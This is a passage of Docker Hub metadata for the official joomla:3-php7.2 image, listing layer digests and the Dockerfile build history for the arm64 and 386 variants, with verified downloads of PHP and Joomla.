- `sha256:1ca67749b26158192087c9cb37a9e0c194708fd3479a87e3a367cb630312055c`
Last Modified: Fri, 11 Sep 2020 02:03:21 GMT
Size: 3.1 MB (3129089 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:61e17a642feca359502825284c2275ccb1a766c31fda49f55e65934e846c7985`
Last Modified: Fri, 11 Sep 2020 02:03:26 GMT
Size: 9.7 MB (9686484 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a4eedd6929222d2a4dea282c275af0af5f0db9251b920976dca6883c6258c107`
Last Modified: Fri, 11 Sep 2020 02:03:20 GMT
Size: 1.2 KB (1199 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:cffdaafed294249606d8cb28eb6bda9cdce3c3a2d670532d3596bde62569cfed`
Last Modified: Fri, 11 Sep 2020 02:03:20 GMT
Size: 614.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `joomla:3-php7.2` - linux; arm64 variant v8
```console
$ docker pull joomla@sha256:a278d887a26685710c180ccd14771942fd1787d2c3880444f6128b23dd762cef
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **154.0 MB (153966272 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:dbf9a4c986b393b0b3bc4a80ab22ef21bf3ea3c27977d63aaae8075049991ffc`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Wed, 09 Sep 2020 23:50:54 GMT
ADD file:d870fb0484ea283840d9cc923c9c3fe36d1bb6b3b5ecfefcce06aa26a22c9414 in /
# Wed, 09 Sep 2020 23:50:57 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 12:03:53 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Thu, 10 Sep 2020 12:03:53 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Thu, 10 Sep 2020 12:04:27 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 12:04:30 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Thu, 10 Sep 2020 12:04:32 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Thu, 10 Sep 2020 12:08:28 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Thu, 10 Sep 2020 12:08:29 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Thu, 10 Sep 2020 12:08:48 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Thu, 10 Sep 2020 12:08:51 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Thu, 10 Sep 2020 12:08:53 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Thu, 10 Sep 2020 12:08:54 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Thu, 10 Sep 2020 12:08:55 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Thu, 10 Sep 2020 12:08:55 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 12:08:56 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 12:08:57 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Thu, 10 Sep 2020 13:33:34 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 10 Sep 2020 13:33:35 GMT
ENV PHP_VERSION=7.2.33
# Thu, 10 Sep 2020 13:33:36 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 10 Sep 2020 13:33:37 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 10 Sep 2020 13:33:55 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 10 Sep 2020 13:33:56 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 10 Sep 2020 13:36:55 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 10 Sep 2020 13:36:57 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 10 Sep 2020 13:37:01 GMT
RUN docker-php-ext-enable sodium
# Thu, 10 Sep 2020 13:37:04 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 10 Sep 2020 13:37:05 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 10 Sep 2020 13:37:06 GMT
STOPSIGNAL SIGWINCH
# Thu, 10 Sep 2020 13:37:07 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 10 Sep 2020 13:37:08 GMT
WORKDIR /var/www/html
# Thu, 10 Sep 2020 13:37:08 GMT
EXPOSE 80
# Thu, 10 Sep 2020 13:37:09 GMT
CMD ["apache2-foreground"]
# Fri, 11 Sep 2020 02:52:20 GMT
LABEL maintainer=Harald Leithner <[email protected]> (@HLeithner)
# Fri, 11 Sep 2020 02:52:21 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Fri, 11 Sep 2020 02:52:23 GMT
RUN a2enmod rewrite
# Fri, 11 Sep 2020 02:55:09 GMT
RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libgmp-dev libjpeg-dev libldap2-dev libmcrypt-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd gmp ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Fri, 11 Sep 2020 02:55:10 GMT
VOLUME [/var/www/html]
# Fri, 11 Sep 2020 02:55:11 GMT
ENV JOOMLA_VERSION=3.9.21
# Fri, 11 Sep 2020 02:55:12 GMT
ENV JOOMLA_SHA512=603027bb54f1aa0c37ecdac7438ce1294120b82a16f6c5b6671d1344e87816cc999d9b7e7fe149800e26d937a97fba383817d3e1c71bd23b1a2d380758de3a1d
# Fri, 11 Sep 2020 02:55:22 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Fri, 11 Sep 2020 02:55:24 GMT
COPY file:f6b7a1c96cc89593a2b9ce4c68af350ae02f2e0c654cd5e842ff6c03641d470e in /entrypoint.sh
# Fri, 11 Sep 2020 02:55:25 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Fri, 11 Sep 2020 02:55:25 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Fri, 11 Sep 2020 02:55:26 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:a6d76de28f58f3470aff71c934c0fec4e5d0fad788f8b8bcc50601266fc1b34d`
Last Modified: Wed, 09 Sep 2020 23:59:09 GMT
Size: 25.8 MB (25849325 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:5b765cd8dd18ccad037620f2765e6c4d1d213e1efd39d254ed77be7e075bde1b`
Last Modified: Thu, 10 Sep 2020 14:15:23 GMT
Size: 228.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2c348cef873eb53c0c25878ea8bc2e47bfb9eb575a1b3138fc1ef02731b8840f`
Last Modified: Thu, 10 Sep 2020 14:15:45 GMT
Size: 70.3 MB (70337546 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:f76bca23f69b13b0ba97ffcb96964a27c90a234bb33d13b977d46f15defb9299`
Last Modified: Thu, 10 Sep 2020 14:15:23 GMT
Size: 270.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:986e8e90a1ce91d29857dc12cecf35e27c100544cc30be822d09ccfc339cbedc`
Last Modified: Thu, 10 Sep 2020 14:16:20 GMT
Size: 18.6 MB (18579534 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:09614c0a2c4fa9cea7eb9c150e1ed7a9ff5e7cd24d48fa89d0bde9ca53088d80`
Last Modified: Thu, 10 Sep 2020 14:16:17 GMT
Size: 476.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:581bec9454b64e95f61c78367f8b0510c02325367f58837e9469ee0d815a446c`
Last Modified: Thu, 10 Sep 2020 14:16:17 GMT
Size: 516.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:3c5f7671d6ddec77e58119b97ed74a52e252ccc62d789ab40bfb4e513abae632`
Last Modified: Thu, 10 Sep 2020 14:24:03 GMT
Size: 12.6 MB (12647940 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:afd87f0a299bae26fef04e9663bd76e4fb6f236b8ad4c151a17239d40da01be2`
Last Modified: Thu, 10 Sep 2020 14:24:02 GMT
Size: 495.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e178fb7c5815ad9ac68ec9f9781b1b56ba762a5f92240a769ee3c8284e3cc026`
Last Modified: Thu, 10 Sep 2020 14:24:02 GMT
Size: 13.5 MB (13515287 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:16c2a0fbeaf5ea45dd2b949813b1dad55386945fda002e1f5414a3b6f17303cf`
Last Modified: Thu, 10 Sep 2020 14:23:59 GMT
Size: 2.3 KB (2284 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:120214a78b490e5f9bf5143c765d833e8f07b7eedba992f6d38ff1c3f6b06051`
Last Modified: Thu, 10 Sep 2020 14:23:59 GMT
Size: 249.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e48894e60aa0f8ed16f285f494297cd9aa216cf470197215f7cc4560345a861f`
Last Modified: Thu, 10 Sep 2020 14:23:59 GMT
Size: 213.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:17bcc449c06c61cce4972756a85e897fbc2496e45400f4143c5623bd3ffd74ff`
Last Modified: Thu, 10 Sep 2020 14:23:59 GMT
Size: 897.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2d30b92b64cc3003aec2ee375ac343eb4c648116ebde1ea343142bc5906676d0`
Last Modified: Fri, 11 Sep 2020 03:13:51 GMT
Size: 315.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:f0a6d27c8deca1f2a421c58dc5fdf3b7a11d8169a93d43783b546f3a69f67b14`
Last Modified: Fri, 11 Sep 2020 03:13:52 GMT
Size: 3.3 MB (3342404 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e83d1ec83683b907ee0db6fb39b486f6e8816de23f3cebf23abcd497f03a6bcc`
Last Modified: Fri, 11 Sep 2020 03:13:55 GMT
Size: 9.7 MB (9686478 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:652747dd15a03bfefd14e2f9863173aa0fbc45a75079b2cfc00e372f38c26a46`
Last Modified: Fri, 11 Sep 2020 03:13:51 GMT
Size: 1.2 KB (1200 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:f3902d2a28c5cee1c1ce392162730a6999598284ea905a145030d66781422a2c`
Last Modified: Fri, 11 Sep 2020 03:13:51 GMT
Size: 615.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `joomla:3-php7.2` - linux; 386
```console
$ docker pull joomla@sha256:87dda9ac99bd88244143ed687d06b20222250382f9b41691b95489f6d60d6f0a
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **167.9 MB (167850482 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:239ddf2a59a5cf07582ba33a5c14b5fee9a602d42513b50d0b182ef64529adfd`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Tue, 04 Aug 2020 03:37:35 GMT
ADD file:cc791c21e6022a12dd1445a35f4cca9392ad8edfe34ea5852f3e87862c943628 in /
# Tue, 04 Aug 2020 03:37:35 GMT
CMD ["bash"]
# Tue, 04 Aug 2020 12:50:23 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Tue, 04 Aug 2020 12:50:24 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Tue, 04 Aug 2020 12:50:46 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Tue, 04 Aug 2020 12:50:46 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Tue, 04 Aug 2020 12:50:47 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Tue, 04 Aug 2020 12:55:58 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Tue, 04 Aug 2020 12:55:58 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Tue, 04 Aug 2020 12:56:08 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Tue, 04 Aug 2020 12:56:09 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Tue, 04 Aug 2020 12:56:10 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Tue, 04 Aug 2020 12:56:10 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Tue, 04 Aug 2020 12:56:10 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Tue, 04 Aug 2020 12:56:11 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Tue, 04 Aug 2020 12:56:11 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Tue, 04 Aug 2020 12:56:11 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Tue, 04 Aug 2020 14:21:14 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 06 Aug 2020 22:51:41 GMT
ENV PHP_VERSION=7.2.33
# Thu, 06 Aug 2020 22:51:42 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 06 Aug 2020 22:51:42 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 06 Aug 2020 22:51:56 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 06 Aug 2020 22:51:57 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 06 Aug 2020 22:56:40 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 06 Aug 2020 22:56:41 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 06 Aug 2020 22:56:41 GMT
RUN docker-php-ext-enable sodium
# Thu, 06 Aug 2020 22:56:42 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 06 Aug 2020 22:56:43 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 06 Aug 2020 22:56:43 GMT
STOPSIGNAL SIGWINCH
# Thu, 06 Aug 2020 22:56:43 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 06 Aug 2020 22:56:43 GMT
WORKDIR /var/www/html
# Thu, 06 Aug 2020 22:56:43 GMT
EXPOSE 80
# Thu, 06 Aug 2020 22:56:44 GMT
CMD ["apache2-foreground"]
# Fri, 07 Aug 2020 03:01:16 GMT
LABEL maintainer=Michael Babker <[email protected]> (@mbabker)
# Fri, 07 Aug 2020 03:01:16 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Fri, 07 Aug 2020 03:01:17 GMT
RUN a2enmod rewrite
# Fri, 07 Aug 2020 03:03:17 GMT
RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libjpeg-dev libldap2-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Fri, 07 Aug 2020 03:03:17 GMT
VOLUME [/var/www/html]
# Fri, 07 Aug 2020 03:03:17 GMT
ENV JOOMLA_VERSION=3.9.18
# Fri, 07 Aug 2020 03:03:18 GMT
ENV JOOMLA_SHA512=1bf4590a761cc24f59fc0d5b07ffbb8f9e50073b3536edc261b8785ff168aca2066d133a81c4ac33bcfe7b843559320ef4d1f97c5eb16096ca4b550a18b7f44d
# Fri, 07 Aug 2020 03:03:24 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Fri, 07 Aug 2020 03:03:25 GMT
COPY file:fcc18c5b9c2d514cfb965bab84e10b4f924a39a5f202055df75d7990da099d8f in /entrypoint.sh
# Fri, 07 Aug 2020 03:03:25 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Fri, 07 Aug 2020 03:03:25 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Fri, 07 Aug 2020 03:03:25 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:23ad22c16ab9d635a179d5d341096c34912941507b0c77ac97083b9795d8516f`
Last Modified: Tue, 04 Aug 2020 03:42:33 GMT
Size: 27.8 MB (27750435 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:329242062d68d28d6b2a87364a30d8b71938ba033610ecfd79f13769a96294e2`
Last Modified: Tue, 04 Aug 2020 14:58:57 GMT
Size: 226.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:5a8aaae05adb825dff3551448f99133aba9f351d7f26f8c75f6486b4b38bd51c`
Last Modified: Tue, 04 Aug 2020 14:59:19 GMT
Size: 81.2 MB (81196323 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:7a65de971d0774dc002b56e15b037e7d4db04da66913020270e1285355323dbb`
